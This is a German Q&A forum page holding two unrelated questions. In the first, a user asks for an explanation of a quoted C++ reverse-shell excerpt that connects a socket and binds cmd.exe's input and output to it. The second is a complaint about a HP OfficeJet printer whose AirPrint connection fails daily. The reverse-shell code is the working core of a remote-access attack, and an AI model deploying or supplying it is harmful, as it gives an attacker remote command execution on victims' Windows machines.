Was bedeutet dieser Code grob - Reverse Shell?

Tach, ich habe mir aus langeweile den Code einer Reverse Shell in c++ angesehen und ich frage mich was folgender Code bedeutet. Ich verstehe nur einzelne Teile und ich würde gerne eine grobe Erklärung bekommen, was der Code tut. (vollen Code auf https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp)

if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
	            closesocket(mySocket);
	            WSACleanup();
	            continue;
	        }
	        else {
	            char RecvData[DEFAULT_BUFLEN];
	            memset(RecvData, 0, sizeof(RecvData));
	            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	            if (RecvCode <= 0) {
	                closesocket(mySocket);
	                WSACleanup();
	                continue;
	            }
	            else {
	                char Process[] = "cmd.exe";
	                STARTUPINFO sinfo;
	                PROCESS_INFORMATION pinfo;
	                memset(&sinfo, 0, sizeof(sinfo));
	                sinfo.cb = sizeof(sinfo);
	                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
	                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
	                WaitForSingleObject(pinfo.hProcess, INFINITE);
	                CloseHandle(pinfo.hProcess);
	                CloseHandle(pinfo.hThread);
	

	                memset(RecvData, 0, sizeof(RecvData));
	                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	                if (RecvCode <= 0) {
	                    closesocket(mySocket);
	                    WSACleanup();
	                    continue;
	                }
	                if (strcmp(RecvData, "exit\n") == 0) {
	                    exit(0);
	                }
	            }
Computer, IT, programmieren, Hacking, Informatik, Shell, C (Programmiersprache)
Was muss HP unternehmen, wenn Airprint nicht funktioniert?

Hallo ihr Lieben,

ich bin seit Wochen im regelmäßigen Kontakt mit dem "HP+ Support" und bitte deshalb von den üblichen "neustarten", oder "Drucker neu installieren" oder "WLAN überprüfen", ect. - Tipps abzusehen, denn das habe ich alles schon probiert und es geht trotzdem nicht. Es geht um den HP Officejet Pro 9022e.

Mein Problem ist folgender Ablauf:

  1. Das Drucken funktioniert
  2. Ich nutze den Drucker ein paar Stunden nicht oder erst wieder am Folgetag
  3. Ich versuche zu drucken, und der Druckauftrag geht aber nicht durch sondern es steht "Verbindung wird hergestellt" da und es tut sich aber nichts.
  4. Ich öffne die HP Smart App, der Drucker wird als online angezeigt und wenn ich auf scannen klicke funktioniert es sogar! Nur für Druckaufträge gibt es keine Verbindung.
  5. Ich befolge den Rat des Supports, lösche den Drucker und versuche ihn neu zu installieren. Das funktioneirt aber nicht auf Anhieb, da der Drucker gar nicht erst erkannt wird. Erst nachdem ich den Mac ausschalte und wieder anschalte, findet er den Drucker (meistens).
  6. Ich wähle den Drucker aus um ihn hinzuzufügen, aber Mac findet keinen Treiber. Ohne Treiber bleibt das Fenster "hinzufügen" aber grau und ich kann es nicht anklicken.
  7. Nach ca 20 Minuten wird mir der Treiber endlich angezeigt und ich kann den Drucker hinzufügen und der Druck funktioniert.

Diese Tortur wiederholt sich täglich und meine Nerven sind so langsam wirklich am Ende. Der Drucker ist nagelneu, war für mich sehr teuer, da ich ihn privat nutze. Das beste zum Schluss: Ich habe ja schon wirklich unzählige Support-Mitarbeiter am Telefon gehabt und der letzte sagte mir folgendes: Bitte warten Sie auf das nächste Software Update des Druckers, damit wird das Problem behoben, sie sind nicht die einzige mit dem Problem. Das dauert 3-4Wochen." Muss ich das hinnehmen, nochmals 4 Wochen (habe das Problem schon seit 4 Wochen) den Drucker nicht nutzen zu können? Kann ich da nicht auf die Herstellergarantie pochen oder so? Ich bin wirklich auf den Drucker angewiesen.

Hat jemand ähnliche Erfahrungen gemacht? Muss HP mir nicht Ersatz besorgen oder so? Sie bewerben schließlich Airprint, wenn es nicht zuverlässig funktioniert ist der Drucker aber absolut unbrauchbar.

Computer, Technik, Drucker, HP, Technologie, Treibersoftware

Meistgelesene Beiträge zum Thema Computer